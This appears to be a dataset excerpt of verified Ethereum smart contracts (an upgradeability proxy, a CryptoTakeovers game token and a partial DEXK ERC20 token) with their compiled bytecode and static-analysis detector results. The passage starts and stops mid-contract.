require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206799c6fe8dfcabfef33a4b7fd57c84e6ee459e99f661adc36376160052ed0dfa64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 6,168 |
0xa9422a3e6fb02edc3b3188e70e348d77a06d67c6
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Operatable is Ownable {
address public operator;
event LogOperatorChanged(address indexed from, address indexed to);
modifier isValidOperator(address _operator) {
require(_operator != address(0));
_;
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
constructor(address _owner, address _operator) public isValidOperator(_operator) {
require(_owner != address(0));
owner = _owner;
operator = _operator;
}
function setOperator(address _operator) public onlyOwner isValidOperator(_operator) {
emit LogOperatorChanged(operator, _operator);
operator = _operator;
}
}
/// @title CryptoTakeovers In-Game Token.
/// @dev The token used in the game to participate in NFT airdrop raffles.
/// @author Ido Amram <ido@cryptotakeovers.com>, Elad Mallel <elad@cryptotakeovers.com>
contract CryptoTakeoversToken is MintableToken, Operatable {
/*
* Events
*/
event LogGameOperatorChanged(address indexed from, address indexed to);
event LogShouldBlockPublicTradeSet(bool value, address indexed owner);
/*
* Storage
*/
bool public shouldBlockPublicTrade;
address public gameOperator;
/*
* Modifiers
*/
modifier hasMintPermission() {
require(msg.sender == operator || (gameOperator != address(0) && msg.sender == gameOperator));
_;
}
modifier hasTradePermission(address _from) {
require(_from == operator || !shouldBlockPublicTrade);
_;
}
/*
* Public (unauthorized) functions
*/
/// @dev CryptoTakeoversToken constructor.
/// @param _owner the address of the owner to set for this contract
/// @param _operator the address ofh the operator to set for this contract
constructor (address _owner, address _operator) Operatable(_owner, _operator) public {
shouldBlockPublicTrade = true;
}
/*
* Operator (authorized) functions
*/
/// @dev Allows an authorized set of accounts to transfer tokens.
/// @param _to the account to transfer tokens to
/// @param _value the amount of tokens to transfer
/// @return true if the transfer succeeded, and false otherwise
function transfer(address _to, uint256 _value) public hasTradePermission(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Allows an authorized set of accounts to transfer tokens.
/// @param _from the account from which to transfer tokens
/// @param _to the account to transfer tokens to
/// @param _value the amount of tokens to transfer
/// @return true if the transfer succeeded, and false otherwise
function transferFrom(address _from, address _to, uint256 _value) public hasTradePermission(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// @dev Allows the operator to set the address of the game operator, which should be the pre-sale contract or the game contract.
/// @param _gameOperator the address of the game operator
function setGameOperator(address _gameOperator) public onlyOperator {
require(_gameOperator != address(0));
emit LogGameOperatorChanged(gameOperator, _gameOperator);
gameOperator = _gameOperator;
}
/*
* Owner (authorized) functions
*/
/// @dev Allows the owner to enable or restrict open trade of tokens.
/// @param _shouldBlockPublicTrade true if trade should be restricted, and false to open trade
function setShouldBlockPublicTrade(bool _shouldBlockPublicTrade) public onlyOwner {
shouldBlockPublicTrade = _shouldBlockPublicTrade;
emit LogShouldBlockPublicTradeSet(_shouldBlockPublicTrade, owner);
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b8114610116578063095ea7b31461013f57806318160ddd1461016357806323b872dd1461018a578063398b35b1146101b457806340c10f19146101d0578063570ca735146101f4578063661884631461022557806368989cba1461024957806370a082311461025e578063715018a61461027f5780637d64bcb4146102945780638da5cb5b146102a9578063a9059cbb146102be578063b3ab15fb146102e2578063c2ead6b914610303578063d73dd62314610318578063da46a73c1461033c578063dd62ed3e1461035d578063f2fde38b14610384575b600080fd5b34801561012257600080fd5b5061012b6103a5565b604080519115158252519081900360200190f35b34801561014b57600080fd5b5061012b600160a060020a03600435166024356103b5565b34801561016f57600080fd5b5061017861041b565b60408051918252519081900360200190f35b34801561019657600080fd5b5061012b600160a060020a0360043581169060243516604435610421565b3480156101c057600080fd5b506101ce600435151561046b565b005b3480156101dc57600080fd5b5061012b600160a060020a03600435166024356104f6565b34801561020057600080fd5b5061020961062c565b60408051600160a060020a039092168252519081900360200190f35b34801561023157600080fd5b5061012b600160a060020a036004351660243561063b565b34801561025557600080fd5b5061012b61072b565b34801561026a57600080fd5b50610178600160a060020a036004351661073b565b34801561028b57600080fd5b506101ce610756565b3480156102a057600080fd5b5061012b6107c4565b3480156102b557600080fd5b50610209610848565b3480156102ca57600080fd5b5061012b600160a060020a0360043516602435610857565b3480156102ee57600080fd5b506101ce600160a060020a036004351661089c565b34801561030f57600080fd5b50610209610933565b34801561032457600080fd5b5061012b600160a060020a0360043516602435610942565b34801561034857600080fd5b506101ce600160a060020a03600435166109db565b34801561036957600080fd5b50610178600160a060020a0360043581169060243516610a70565b34801561039057600080fd5b506101ce600160a060020a0360043516610a9b565b60035460a060020a900460ff1681565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6004546000908490600160a060020a038083169116148061044c575060045460a060020a900460ff16155b151561045757600080fd5b610462858585610abe565b95945050505050565b600354600160a060020a0316331461048257600080fd5b6004805482151560a060020a810274ff000000000000000000000000000000000000000019909216919091179091556003546040805192835251600160a060020a03909116917f8426f0678357e2c445a619ed318dc341a5d29d92b30168600f5fa8aacc2e18d4919081900360200190a250565b600454600090600160a060020a03163314806105315750600554600160a060020a0316158015906105315750600554600160a060020a031633145b151561053c57600080fd5b60035460a060020a900460ff161561055357600080fd5b600154610566908363ffffffff610c3516565b600155600160a060020a038316600090815260208190526040902054610592908363ffffffff610c3516565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600454600160a060020a031681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561069057336000908152600260209081526040808320600160a060020a03881684529091528120556106c5565b6106a0818463ffffffff610c4816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60045460a060020a900460ff1681565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461076d57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a031633146107de57600080fd5b60035460a060020a900460ff16156107f557600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6004546000903390600160a060020a031681148061087f575060045460a060020a900460ff16155b151561088a57600080fd5b6108948484610c5a565b949350505050565b600354600160a060020a031633146108b357600080fd5b80600160a060020a03811615156108c957600080fd5b600454604051600160a060020a038085169216907f1dd5e90458ca309f1a843a26852b230ee5e19be7a0b03876295c8d1bab8f4c6c90600090a3506004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610976908363ffffffff610c3516565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600454600160a060020a031633146109f257600080fd5b600160a060020a0381161515610a0757600080fd5b600554604051600160a060020a038084169216907fd163a13d42914af4701097e569812481db8a07e6795420b1a82748f710b6abc290600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610ab257600080fd5b610abb81610d3b565b50565b6000600160a060020a0383161515610ad557600080fd5b600160a060020a038416600090815260208190526040902054821115610afa57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b2a57600080fd5b600160a060020a038416600090815260208190526040902054610b53908363ffffffff610c4816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b88908363ffffffff610c3516565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610bca908363ffffffff610c4816565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610c4257fe5b92915050565b600082821115610c5457fe5b50900390565b6000600160a060020a0383161515610c7157600080fd5b33600090815260208190526040902054821115610c8d57600080fd5b33600090815260208190526040902054610cad908363ffffffff610c4816565b3360009081526020819052604080822092909255600160a060020a03851681522054610cdf908363ffffffff610c3516565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a0381161515610d5057600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820478a4fc08a5affc00657847ae6ef60258328fa00fb9a6d6d81f5240aa0140b6d0029
|
{"success": true, "error": null, "results": {}}
| 6,169 |
0xa26592232aa2bdf47e76b6726d455d2ba9851c91
|
pragma solidity ^0.4.16;
// DEXK Token based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Smartcontract for DEXK Token
// Verified Status: ERC20 Verified Token
// DEXK Token Symbol: DEXK
contract DEXKSMToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* DEXK Token Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract DEXKStandardToken is DEXKSMToken, Ownable {
using ABCMaths for uint256;
